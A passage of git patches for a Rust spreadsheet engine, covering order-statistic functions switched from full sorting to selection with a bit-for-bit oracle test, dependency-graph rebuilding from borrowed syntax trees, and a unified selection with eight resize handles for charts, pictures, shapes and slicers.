0.0 => Ok(lo + frac * (hi - lo)), - _ => Ok(lo), + if i >= v.len() { + return Err(CellError::Num); } + let (_, lo, upper) = v.select_nth_unstable_by(i, f64::total_cmp); + let lo = *lo; + // The next order statistic is the minimum of the upper partition. + if frac > 0.0 + && let Some(hi) = upper.iter().copied().min_by(f64::total_cmp) + { + return Ok(lo + frac * (hi - lo)); + } + Ok(lo) } fn percentile_inc(v: Vec, k: f64) -> R { if v.is_empty() || !(0.0..=1.0).contains(&k) { return Err(CellError::Num); } - let s = sorted(v); - interp(&s, k * (s.len() - 1) as f64) + let pos = k * (v.len() - 1) as f64; + interp(v, pos) } fn percentile_exc(v: Vec, k: f64) -> R { @@ -159,8 +169,7 @@ fn percentile_exc(v: Vec, k: f64) -> R { if pos < 1.0 || pos > n { return Err(CellError::Num); } - let s = sorted(v); - interp(&s, pos - 1.0) + interp(v, pos - 1.0) } fn quartile_inc(v: Vec, q: f64) -> R { @@ -2274,7 +2283,9 @@ pub(crate) fn specs() -> Vec { #[cfg(test)] mod tests { - use super::{MAX_REGRESSORS, aggregate_values, aggregate_values_k, check_regression_size}; + use super::{ + MAX_REGRESSORS, R, aggregate_values, aggregate_values_k, check_regression_size, kth, median, percentile_exc, percentile_inc, sorted, + }; use crate::util::testutil::*; use gridcraft_core::{CellError, Value}; @@ -2463,6 +2474,110 @@ mod tests { close(ev("RANK.AVG", vec![n(3.5), r2, n(1.0)]), 3.5); } + // Reference implementations: the previous full-sort versions, as the oracle for the selection ones. + fn old_interp(s: &[f64], pos: f64) -> R { + let i = pos.floor(); + let frac = pos - i; + let i = i as usize; + let lo = *s.get(i).ok_or(CellError::Num)?; + match s.get(i + 1) { + Some(hi) if frac > 0.0 => Ok(lo + frac * (hi - lo)), + _ => Ok(lo), + } + } + + fn old_median(v: Vec) -> R { + if v.is_empty() { + return Err(CellError::Num); + } + let s = sorted(v); + let n = s.len(); + let hi = s.get(n / 2).copied().unwrap_or(0.0); + if n % 2 == 1 { Ok(hi) } else { Ok(s.get(n / 2 - 1).copied().unwrap_or(0.0).midpoint(hi)) } + } + + fn old_kth(v: Vec, k: f64, largest: bool) -> R { + let k = k.ceil(); + if k.is_nan() || k < 1.0 || k > v.len() as f64 { + return Err(CellError::Num); + } + let s = sorted(v); + let k = k as usize; + let idx = if largest { s.len() - k } else { k - 1 }; + s.get(idx).copied().ok_or(CellError::Num) + } + + fn old_percentile_inc(v: Vec, k: f64) -> R { + if v.is_empty() || !(0.0..=1.0).contains(&k) { + return Err(CellError::Num); + } + let s = sorted(v); + old_interp(&s, k * (s.len() - 1) as f64) + } + + fn old_percentile_exc(v: Vec, k: f64) -> R { + let n = v.len() as f64; + if v.is_empty() || !(k > 0.0 && k < 1.0) { + return Err(CellError::Num); + } + let pos = k * (n + 1.0); + if pos < 1.0 || pos > n { + return Err(CellError::Num); + } + let s = sorted(v); + old_interp(&s, pos - 1.0) + } + + /// Same Ok bit pattern or same error. + fn same(a: R, b: R) -> bool { + match (a, b) { + (Ok(x), Ok(y)) => x.to_bits() == y.to_bits(), + (Err(x), Err(y)) => x == y, + _ => false, + } + } + + #[test] + fn selection_matches_full_sort_bit_for_bit() { + let mut state = 0x9E37_79B9_7F4A_7C15_u64; + let mut next = move || { + state ^= state << 13; + state ^= state >> 7; + state ^= state << 17; + state + }; + let specials = [0.0, -0.0, f64::INFINITY, f64::NEG_INFINITY, f64::NAN, -f64::NAN, f64::MAX, f64::MIN_POSITIVE, 1.0, -1.0]; + for len in (0..=40).chain([63, 64, 65, 100, 257, 1000, 4096]) { + for round in 0..12 { + let v: Vec = (0..len) + .map(|_| match (round % 4, next() % 8) { + // Few distinct values: many ties. + (0, r) => (r % 3) as f64, + // Specials, including both zeros and NaNs. + (1, r) => specials[(next() as usize + r as usize) % specials.len()], + // Wide random range. + (2, _) => (next() as i64 as f64) / 1e3, + // Integers with some specials mixed in. + (_, 0) => specials[next() as usize % specials.len()], + _ => (next() % 50) as f64, + }) + .collect(); + assert!(same(median(v.clone()), old_median(v.clone())), "median len={len}"); + let ks = [-1.0, 0.0, 0.2, 1.0, 1.5, 2.0, len as f64 / 2.0, len as f64 - 0.5, len as f64, len as f64 + 1.0, f64::NAN]; + for &k in &ks { + for largest in [true, false] { + assert!(same(kth(v.clone(), k, largest), old_kth(v.clone(), k, largest)), "kth len={len} k={k}"); + } + } + let ps = [-0.1, 0.0, 0.01, 0.1, 0.25, 0.3, 0.5, 0.75, 0.9, 0.99, 1.0, 1.1, f64::NAN, (next() % 1001) as f64 / 1000.0]; + for &p in &ps { + assert!(same(percentile_inc(v.clone(), p), old_percentile_inc(v.clone(), p)), "pinc len={len} p={p}"); + assert!(same(percentile_exc(v.clone(), p), old_percentile_exc(v.clone(), p)), "pexc len={len} p={p}"); + } + } + } + } + #[test] fn percentiles() { close(ev("PERCENTILE.INC", vec![c(&[1.0, 3.0, 2.0, 4.0]), n(0.3)]), 1.9); From c567511cf1e5335e4078e5bdd2036e14e72293c6 Mon Sep 17 00:00:00 2001 From: vangel76 Date: Mon, 26 Oct 2026 22:21:15 +0100 Subject: [PATCH 005/167] calc: rebuild the dependency graph from shared syntax trees Calc::rebuild and Calc::cells_changed called Formula::expr(), which deep-copies each formula's syntax tree only to read its references. Use expr_arc() (already used when formulas are calculated), which hands out the cached Arc without copying. Co-Authored-By: Claude Sonnet 5.5 --- crates/calc/src/recalc.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/calc/src/recalc.rs b/crates/calc/src/recalc.rs index 17a0e6649..6cd1551fe 100644 --- a/crates/calc/src/recalc.rs +++ b/crates/calc/src/recalc.rs @@ -1010,7 +1010,7 @@ impl Calc { for (si, sheet) in wb.sheets.iter().enumerate() { for (c, cell) in sheet.cells.iter() { if let Some(f) = &cell.formula - && let Some(e) = f.expr() + && let Some(e) = f.expr_arc() { let (areas, dynamic) = precedents(wb, si, &e); self.graph.insert((si, c), Node { areas, dynamic }); @@ -1088,7 +1088,7 @@ impl Calc { let mut cleared: Vec<(usize, RangeRef)> = Vec::new(); for &k in changed { let formula = wb.sheet(k.0).and_then(|s| s.cell(k.1)).and_then(|c| c.formula.clone()); - match formula.and_then(|f| f.expr()) { + match formula.and_then(|f| f.expr_arc()) { Some(e) => { let (areas, dynamic) = precedents(wb, k.0, &e); self.graph.insert(k, Node { areas, dynamic }); From 4523b817ce53be54a9ce9d5b5b49761c3907a75d Mon Sep 17 00:00:00 2001 From: vangel76 Date: Thu, 29 Oct 2026 00:51:12 +0100 Subject: [PATCH 006/167] Read already-sorted input directly instead of selecting A full sort recognises ascending and descending runs in O(n), which a selection cannot beat, so sorted, reverse-sorted and tie-block input was up to 1.8x slower than before. Check for a monotone run first (one pass that stops at the first out-of-order pair) and index into it. Extend the bit-for-bit oracle test with ascending, descending and nearly ascending data. Co-Authored-By: Claude Sonnet 5.5 --- crates/functions/src/stat/descriptive.rs | 32 +++++++++++++++++++++++- crates/functions/src/stat/tests.rs | 22 +++++++++++++--- 2 files changed, 50 insertions(+), 4 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index 49d30d42c..08938d039 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -38,12 +38,31 @@ pub(super) fn sorted(mut v: Vec) -> Vec { v } +/// Sorts `v` if it is already monotone in `total_cmp` order (a descending slice is reversed) and +/// says whether it did. One cheap pass that stops at the first out-of-order pair, so unordered +/// data costs next to nothing. Needed because the std sort recognises ascending and descending +/// runs in O(n), which a selection cannot beat. +fn sorted_if_monotone(v: &mut [f64]) -> bool { + if v.is_sorted_by(|a, b| a.total_cmp(b).is_le()) { + return true; + } + if v.is_sorted_by(|a, b| a.total_cmp(b).is_ge()) { + v.reverse(); + return true; + } + false +} + pub(super) fn median(v: Vec) -> R { if v.is_empty() { return Err(CellError::Num); } let mut v = v; let n = v.len(); + if sorted_if_monotone(&mut v) { + let hi = v.get(n / 2).copied().unwrap_or(0.0); + return if n % 2 == 1 { Ok(hi) } else { Ok(v.get(n / 2 - 1).copied().unwrap_or(0.0).midpoint(hi)) }; + } let (lower, hi, _) = v.select_nth_unstable_by(n / 2, f64::total_cmp); let hi = *hi; if n % 2 == 1 { Ok(hi) } else { Ok(lower.iter().copied().max_by(f64::total_cmp).unwrap_or(0.0).midpoint(hi)) } @@ -120,7 +139,11 @@ pub(super) fn kth(v: Vec, k: f64, largest: bool) -> R { let mut v = v; let k = k as usize; let idx = if largest { v.len() - k } else { k - 1 }; - // Selection instead of a full sort; same total order, so the same bit pattern as `sorted(v)[idx]`. + // Selection instead of a full sort (monotone input is read directly); same total order, so the + // same bit pattern as `sorted(v)[idx]`. + if sorted_if_monotone(&mut v) { + return v.get(idx).copied().ok_or(CellError::Num); + } Ok(*v.select_nth_unstable_by(idx, f64::total_cmp).1) } @@ -132,6 +155,13 @@ fn interp(mut v: Vec, pos: f64) -> R { if i >= v.len() { return Err(CellError::Num); } + if sorted_if_monotone(&mut v) { + let lo = v.get(i).copied().ok_or(CellError::Num)?; + return match v.get(i + 1) { + Some(hi) if frac > 0.0 => Ok(lo + frac * (hi - lo)), + _ => Ok(lo), + }; + } let (_, lo, upper) = v.select_nth_unstable_by(i, f64::total_cmp); let lo = *lo; // The next order statistic is the minimum of the upper partition. diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 60da9f59e..f11629369 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -263,8 +263,8 @@ fn selection_matches_full_sort_bit_for_bit() { }; let specials = [0.0, -0.0, f64::INFINITY, f64::NEG_INFINITY, f64::NAN, -f64::NAN, f64::MAX, f64::MIN_POSITIVE, 1.0, -1.0]; for len in (0..=40).chain([63, 64, 65, 100, 257, 1000, 4096]) { - for round in 0..12 { - let v: Vec = (0..len) + for round in 0..24 { + let mut v: Vec = (0..len) .map(|_| match (round % 4, next() % 8) { // Few distinct values: many ties. (0, r) => (r % 3) as f64, @@ -277,7 +277,23 @@ fn selection_matches_full_sort_bit_for_bit() { _ => (next() % 50) as f64, }) .collect(); - assert!(same(median(v.clone()), old_median(v.clone())), "median len={len}"); + // Rounds 12..24 repeat the data as already ascending, already descending and nearly + // ascending (ends swapped): the monotone shortcut and its fallback to selection. + match round / 4 { + 3 => v.sort_by(f64::total_cmp), + 4 => { + v.sort_by(f64::total_cmp); + v.reverse(); + } + 5 => { + v.sort_by(f64::total_cmp); + if let Some(last) = v.len().checked_sub(1) { + v.swap(0, last); + } + } + _ => {} + } + assert!(same(median(v.clone()), old_median(v.clone())), "median len={len} round={round}"); let ks = [-1.0, 0.0, 0.2, 1.0, 1.5, 2.0, len as f64 / 2.0, len as f64 - 0.5, len as f64, len as f64 + 1.0, f64::NAN]; for &k in &ks { for largest in [true, false] { From b6bbdcd5cf23626171768d0cf061e4b0319a67c1 Mon Sep 17 00:00:00 2001 From: vangel76 Date: Thu, 29 Oct 2026 00:51:45 +0100 Subject: [PATCH 007/167] calc: build precedents from a borrowed syntax tree, no Arc for text-only formulas Formula::with_expr runs a closure on the cached tree, or on a freshly parsed one that is dropped afterwards, so rebuild and cells_changed need neither a tree copy nor an Arc allocation / reference count. Co-Authored-By: Claude Sonnet 5.5 --- crates/calc/src/recalc.rs | 11 +++++------ crates/calc/src/tests.rs | 39 +++++++++++++++++++++++++++++++++++++++ crates/model/src/cell.rs | 10 ++++++++++ 3 files changed, 54 insertions(+), 6 deletions(-) diff --git a/crates/calc/src/recalc.rs b/crates/calc/src/recalc.rs index 34c712ddc..9886ca9bd 100644 --- a/crates/calc/src/recalc.rs +++ b/crates/calc/src/recalc.rs @@ -128,9 +128,8 @@ impl Calc { for (si, sheet) in wb.sheets.iter().enumerate() { for (c, cell) in sheet.cells.iter() { if let Some(f) = &cell.formula - && let Some(e) = f.expr_arc() + && let Some((areas, dynamic)) = f.with_expr(|e| precedents(wb, si, e)) { - let (areas, dynamic) = precedents(wb, si, &e); self.graph.insert((si, c), Node { areas, dynamic }); if cell.value == Value::Error(CellError::Circ) { circ.push((si, c)); @@ -205,10 +204,10 @@ impl Calc { pub fn cells_changed(&mut self, wb: &mut Workbook, changed: &[Key]) { let mut cleared: Vec<(usize, RangeRef)> = Vec::new(); for &k in changed { - let formula = wb.sheet(k.0).and_then(|s| s.cell(k.1)).and_then(|c| c.formula.clone()); - match formula.and_then(|f| f.expr_arc()) { - Some(e) => { - let (areas, dynamic) = precedents(wb, k.0, &e); + let precedent = + wb.sheet(k.0).and_then(|s| s.cell(k.1)).and_then(|c| c.formula.as_ref()).and_then(|f| f.with_expr(|e| precedents(wb, k.0, e))); + match precedent { + Some((areas, dynamic)) => { self.graph.insert(k, Node { areas, dynamic }); } None => { diff --git a/crates/calc/src/tests.rs b/crates/calc/src/tests.rs index 5b9e90085..0d4c973d4 100644 --- a/crates/calc/src/tests.rs +++ b/crates/calc/src/tests.rs @@ -2274,3 +2274,42 @@ fn loan_schedule_residue_keeps_excels_sign() { } assert_eq!(t.get("P7"), Value::Text("".into())); } + +/// `rebuild` and `cells_changed` read formulas through `Formula::with_expr`, which borrows the +/// cached tree or parses on the fly. The dependency graph must come out the same for formulas that +/// carry their tree and for formulas that only carry their text (as after loading a file). +#[test] +fn graph_built_from_text_only_formulas_matches_cached() { + fn run(cached: bool) -> Vec { + let mut t = T::new(); + t.set("A1", "2"); + for (at, f) in [("B1", "=A1*10"), ("C1", "=B1+A1"), ("D1", "=SUM(A1:C1)"), ("E1", "=NOPE(")] { + // E1 does not parse, so it has no tree either way and only covers the `None` branch. + let mut formula = Formula::new(f); + if !cached { + formula.expr = None; + } + t.wb.sheet_mut(0).unwrap().cells.set(c(at), Cell::formula(formula)); + } + t.calc.rebuild(&t.wb); + t.calc.recalc_all(&mut t.wb); + let mut out: Vec = ["B1", "C1", "D1", "E1"].iter().map(|a| t.get(a)).collect(); + // Editing the input must reach the dependents through the rebuilt graph. + t.set("A1", "5"); + out.extend(["B1", "C1", "D1"].iter().map(|a| t.get(a))); + // A text-only formula that is rewritten through `cells_changed` joins the graph too. + let mut formula = Formula::new("=A1+100"); + if !cached { + formula.expr = None; + } + t.wb.sheet_mut(0).unwrap().cells.set(c("F1"), Cell::formula(formula)); + t.calc.cells_changed(&mut t.wb, &[(0, c("F1"))]); + t.set("A1", "7"); + out.push(t.get("F1")); + out + } + let cached = run(true); + assert_eq!(cached, run(false)); + assert_eq!(cached[4], Value::Number(50.0)); + assert_eq!(cached[7], Value::Number(107.0)); +} diff --git a/crates/model/src/cell.rs b/crates/model/src/cell.rs index d4466365f..7d3a7715e 100644 --- a/crates/model/src/cell.rs +++ b/crates/model/src/cell.rs @@ -46,6 +46,16 @@ impl Formula { pub fn expr_arc(&self) -> Option> { self.expr.clone().or_else(|| gridcraft_formula::parse(&self.text).ok().map(Arc::new)) } + /// Runs `f` on the parsed expression, borrowing the cached tree or, after deserialization, + /// a freshly parsed one that is dropped afterwards. Unlike [`expr`](Self::expr) it never copies + /// the tree, and unlike [`expr_arc`](Self::expr_arc) it needs no reference count or `Arc` + /// allocation. `None` when the text does not parse. + pub fn with_expr(&self, f: impl FnOnce(&Expr) -> R) -> Option { + match &self.expr { + Some(e) => Some(f(e)), + None => gridcraft_formula::parse(&self.text).ok().map(|e| f(&e)), + } + } } /// A static picture stored as cell content, independent of floating drawing anchors. From 8b330ac9e213c05906b4dee0468444e558f6e4a0 Mon Sep 17 00:00:00 2001 From: vangel76 Date: Thu, 29 Oct 2026 00:52:59 +0100 Subject: [PATCH 008/167] Tighten selection comment and test index arithmetic Co-Authored-By: Claude Sonnet 5.5 --- crates/functions/src/stat/descriptive.rs | 7 ++++--- crates/functions/src/stat/tests.rs | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index 08938d039..3c8f78f69 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -39,9 +39,10 @@ pub(super) fn sorted(mut v: Vec) -> Vec { } /// Sorts `v` if it is already monotone in `total_cmp` order (a descending slice is reversed) and -/// says whether it did. One cheap pass that stops at the first out-of-order pair, so unordered -/// data costs next to nothing. Needed because the std sort recognises ascending and descending -/// runs in O(n), which a selection cannot beat. +/// says whether it did. At most two passes, each stopping at the first out-of-order pair, so +/// unordered data costs next to nothing. Needed because the std sort recognises ascending and +/// descending runs in O(n) with a small constant; selection is O(n) too but measured 1.2-1.8x +/// slower on such input. fn sorted_if_monotone(v: &mut [f64]) -> bool { if v.is_sorted_by(|a, b| a.total_cmp(b).is_le()) { return true; diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index f11629369..023b36815 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -269,7 +269,7 @@ fn selection_matches_full_sort_bit_for_bit() { // Few distinct values: many ties. (0, r) => (r % 3) as f64, // Specials, including both zeros and NaNs. - (1, r) => specials[(next() as usize + r as usize) % specials.len()], + (1, r) => specials[(next() as usize).wrapping_add(r as usize) % specials.len()], // Wide random range. (2, _) => (next() as i64 as f64) / 1e3, // Integers with some specials mixed in. From e7591de2ec957d5a9a70c3db56a04498b8d94803 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 11 Oct 2026 21:36:22 -0400 Subject: [PATCH 009/167] Objects: one selection for charts, pictures, shapes and slicers, with eight resize handles The sheet tracked the selected object as a bare id in `selected_chart`, so only charts and text boxes drew a selection frame, only the bottom-right corner resized, and the kind of the selected object had to be guessed from the id. The selection is now `SheetApp::selected_object: Option`, with `selected_chart()` kept for the Chart Design tab and the Format Chart pane. - Model: `ObjKind` (chart, image, shape, slicer) and `ObjRef { kind, id }`; `Sheet` helpers find, move and remove an object by `ObjRef` and walk every object's anchor in a fixed order. `next_object_id` saturates instead of overflowing on an id at `u32::MAX` read from a file. - Commands: `object.delete`, `object.move` and `object.setAnchorMode` accept the four kinds through one parameter check, refuse an unknown kind or id instead of succeeding silently, and clamp hostile offsets. `object.delete` replies with the deleted object. Arrange and the Selection Pane include slicers, which stack above the other objects. - Sheet: the selected object of any kind draws a frame with eight handles over every object. Each handle resizes only its own edges, which never cross; the body moves the object, and the first drag frame already applies the pointer's movement. The pointer shows the handle's resize cursor or a move cursor, with the diagonals swapped on a right-to-left sheet, where the frame moves with its object. - Keys: Escape drops the object selection; Delete and Backspace keep deleting the selected object (#213). A selection whose object disappears (undo, redo, delete, sheet switch) is cleared. - Double-click: `open_object` routes by kind (a text box edits in place, a chart opens Format Chart). - Control protocol: `ui.inspect` reports `selectedObject {kind, id}` and keeps `selectedChart`; `ui.object.select` selects any object and replies with its rect. The snapshot example takes `--object `. Tests: engine tests for every kind by kind and id, the Selection Pane and hostile parameters; UI tests for selecting each kind (a slicer over a chart takes the click), all eight handles on four kinds, cursors, Delete, Backspace and Escape, undo and redo, double-click routing, and resizing on a right-to-left sheet. Existing tests use the new selection API. --- ROADMAP.md | 4 +- crates/engine/src/cmd/extra.rs | 6 +- crates/engine/src/cmd/extra/objects.rs | 11 + crates/engine/src/cmd/insert.rs | 82 +++-- crates/engine/src/tests.rs | 1 + crates/engine/src/tests/objects.rs | 105 ++++++ crates/model/src/features.rs | 43 +++ crates/model/src/sheet.rs | 79 ++++- crates/model/src/workbook.rs | 17 +- crates/ui-egui/examples/snapshot.rs | 7 +- crates/ui-egui/src/app.rs | 2 +- crates/ui-egui/src/app/commands.rs | 3 +- crates/ui-egui/src/chartview.rs | 64 ++-- crates/ui-egui/src/control.rs | 31 +- crates/ui-egui/src/dialogs/charts.rs | 2 +- crates/ui-egui/src/grid.rs | 6 +- crates/ui-egui/src/grid/cursor.rs | 29 +- crates/ui-egui/src/grid/interact.rs | 109 +++---- crates/ui-egui/src/grid/keyboard.rs | 7 +- crates/ui-egui/src/grid/menus.rs | 2 +- crates/ui-egui/src/grid/show.rs | 2 +- crates/ui-egui/src/lib.rs | 5 +- crates/ui-egui/src/objects.rs | 217 +++++++++++++ crates/ui-egui/src/panes.rs | 9 +- crates/ui-egui/src/ribbon.rs | 2 +- crates/ui-egui/src/ribbon/contextual.rs | 4 +- crates/ui-egui/src/text_box.rs | 2 +- crates/ui-egui/src/window_ui.rs | 6 +- crates/ui-egui/tests/it/chart_resize.rs | 6 +- .../ui-egui/tests/it/chart_source_layering.rs | 4 +- .../ui-egui/tests/it/committed_text_fields.rs | 2 +- crates/ui-egui/tests/it/drag_cursor.rs | 4 +- crates/ui-egui/tests/it/format_chart_type.rs | 2 +- crates/ui-egui/tests/it/interaction.rs | 10 +- crates/ui-egui/tests/it/main.rs | 1 + crates/ui-egui/tests/it/objects.rs | 302 ++++++++++++++++++ crates/ui-egui/tests/it/show_objects.rs | 6 +- crates/ui-egui/tests/it/text_box_editing.rs | 2 +- docs/control-protocol.md | 10 +- docs/ui-parity.md | 5 +- 40 files changed, 1010 insertions(+), 201 deletions(-) create mode 100644 crates/engine/src/tests/objects.rs create mode 100644 crates/ui-egui/src/objects.rs create mode 100644 crates/ui-egui/tests/it/objects.rs diff --git a/ROADMAP.md b/ROADMAP.md index 40652c341..43af2299b 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (floating objects: one selection, eight resize handles, keyboard delete; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-31 | Floating objects: charts, pictures, shapes and slicers share one selection with a frame of eight resize handles (each moves only its own edges, also on right-to-left sheets); Delete or Backspace deletes the selected object and Escape drops the selection; `ui.inspect` reports `selectedObject` and `ui.object.select` selects any object (#190, #213) | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | @@ -244,6 +245,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Progress log: one selection and eight resize handles for every floating object | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-24 | minor | Macro interface on the Automate tab; progress log row | | 2026-10-24 | minor | Macro engine and `macro.*` commands; catalog 275 / 291 → 276 / 292 (View › Macros › Record Macro); progress log row | diff --git a/crates/engine/src/cmd/extra.rs b/crates/engine/src/cmd/extra.rs index c9a1582a2..237b32860 100644 --- a/crates/engine/src/cmd/extra.rs +++ b/crates/engine/src/cmd/extra.rs @@ -97,7 +97,7 @@ pub fn specs() -> Vec { "Bring Forward", ["Page Layout", "Arrange"], None, - "{kind: chart|image|shape, id, toFront?: bool}", + "{kind: chart|image|shape|slicer, id, toFront?: bool}", has_doc, |s, p| arrange(s, p, true) ), @@ -106,7 +106,7 @@ pub fn specs() -> Vec { "Send Backward", ["Page Layout", "Arrange"], None, - "{kind: chart|image|shape, id, toBack?: bool}", + "{kind: chart|image|shape|slicer, id, toBack?: bool}", has_doc, |s, p| arrange(s, p, false) ), @@ -116,7 +116,7 @@ pub fn specs() -> Vec { "Align", ["Page Layout", "Arrange"], None, - "{kind: chart|image|shape, ids: [..], align: left|center|right|top|middle|bottom}", + "{kind: chart|image|shape|slicer, ids: [..], align: left|center|right|top|middle|bottom}", has_doc, align ), diff --git a/crates/engine/src/cmd/extra/objects.rs b/crates/engine/src/cmd/extra/objects.rs index 30725f81e..03e8d07b2 100644 --- a/crates/engine/src/cmd/extra/objects.rs +++ b/crates/engine/src/cmd/extra/objects.rs @@ -62,6 +62,11 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result reorder(&mut sh.images, i, forward, extreme); } } + "slicer" => { + if let Some(i) = sh.slicers.iter().position(|c| c.id == id) { + reorder(&mut sh.slicers, i, forward, extreme); + } + } _ => { if let Some(i) = sh.shapes.iter().position(|c| c.id == id) { reorder(&mut sh.shapes, i, forward, extreme); @@ -85,6 +90,11 @@ pub(super) fn selection_pane(s: &mut Session, _: &Json) -> Result { for c in &sh.charts { v.push(json!({"kind": "chart", "id": c.id, "name": format!("Chart {}", c.id), "title": c.title, "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)})); } + // Slicers paint above the other objects. + for c in &sh.slicers { + let name = if c.caption.is_empty() { &c.column } else { &c.caption }; + v.push(json!({"kind": "slicer", "id": c.id, "name": name, "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)})); + } Ok(Json::Array(v)) } @@ -92,6 +102,7 @@ fn anchors_of<'a>(sh: &'a mut Sheet, kind: &str) -> Vec<(u32, &'a mut Anchor)> { match kind { "chart" => sh.charts.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), "image" => sh.images.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), + "slicer" => sh.slicers.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), _ => sh.shapes.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), } } diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index d55af2b6f..669dc6a62 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -5,8 +5,8 @@ use gridcraft_core::{CellRef, MAX_ROWS, RangeRef}; use gridcraft_formula::adjust::{Axis, Edit}; use gridcraft_model::{ Anchor, BorderLine, BorderStyle, Borders, Cell, CellPicture, CfOperator, CfRule, CfValueKind, Chart, ChartKind, Color, Comment, CondFormat, Fill, - Formula, Hyperlink, Image, LegendPos, Series, Shape, ShapeKind, Sheet, Sparkline, SparklineKind, Style, Table, TableColumn, TotalsFn, Underline, - Workbook, + Formula, Hyperlink, Image, LegendPos, ObjKind, ObjRef, Series, Shape, ShapeKind, Sheet, Sparkline, SparklineKind, Style, Table, TableColumn, + TotalsFn, Underline, Workbook, }; use serde_json::{Value as Json, json}; @@ -146,14 +146,22 @@ pub fn specs() -> Vec { &with(p, "kind", json!("textBox")) )), cmd!("shape.setText", "Edit Text Box", [], None, "{id: textBox id, text: string}", has_doc, shape_set_text), - cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape, id}", has_doc, delete_object), - cmd!("object.move", "Move Object", [], None, "{kind: chart|image|shape, id, at?: \"C3\", dx?, dy?, width?, height?}", has_doc, move_object), + cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer, id}", has_doc, delete_object), + cmd!( + "object.move", + "Move Object", + [], + None, + "{kind: chart|image|shape|slicer, id, at?: \"C3\", dx?, dy?, width?, height?}", + has_doc, + move_object + ), cmd!( "object.setAnchorMode", "Object Properties", [], None, - "{kind: chart|image|shape, id, mode: moveAndSize|moveOnly|absolute}", + "{kind: chart|image|shape|slicer, id, mode: moveAndSize|moveOnly|absolute}", has_doc, set_anchor_mode ), @@ -1168,45 +1176,44 @@ fn shape_set_text(s: &mut Session, p: &Json) -> Result { }) } +/// The floating object a `{kind, id}` command names on the active sheet. Unknown kinds and +/// objects are errors, so a stale id never succeeds silently. +fn object_param(s: &Session, p: &Json, cmd: &str) -> Result<(usize, ObjRef)> { + let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id`"))?; + let kind = str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape or slicer"))?; + let d = s.doc()?; + let sheet = d.wb.active_sheet(); + let o = ObjRef::new(kind, id); + if !d.wb.sheet(sheet).is_some_and(|sh| sh.has_object(o)) { + return Err(bad(cmd, "no such object")); + } + Ok((sheet, o)) +} + fn delete_object(s: &mut Session, p: &Json) -> Result { - let id = u32_param(p, "id").ok_or_else(|| bad("object.delete", "missing `id`"))?; - let kind = str_param(p, "kind").unwrap_or("").to_string(); - let sheet = s.doc()?.wb.active_sheet(); + let (sheet, o) = object_param(s, p, "object.delete")?; edit(s, |cx| { - let sh = 